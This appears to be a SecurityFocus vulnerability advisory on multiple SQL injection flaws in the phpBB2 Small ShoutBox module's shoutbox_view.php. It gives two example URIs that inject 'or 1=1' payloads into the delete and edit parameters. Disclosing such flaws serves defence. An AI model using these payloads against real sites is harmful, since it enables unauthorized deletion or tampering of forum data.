phpBB2 Small ShoutBox Module 'shoutbox_view.php' Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/shoutbox_view.php?mode=delete&id=-1 or 1=1/*
http://www.example.com/shoutbox_view.php?mode=edit&id=-1 or 1=1/*&name_id=1 or 1=1/*&date_edit=1225915829&name_edit=[NICKNAME]&clean_msg=[MESSAGE]


 

Privacy Statement
Copyright 2010, SecurityFocus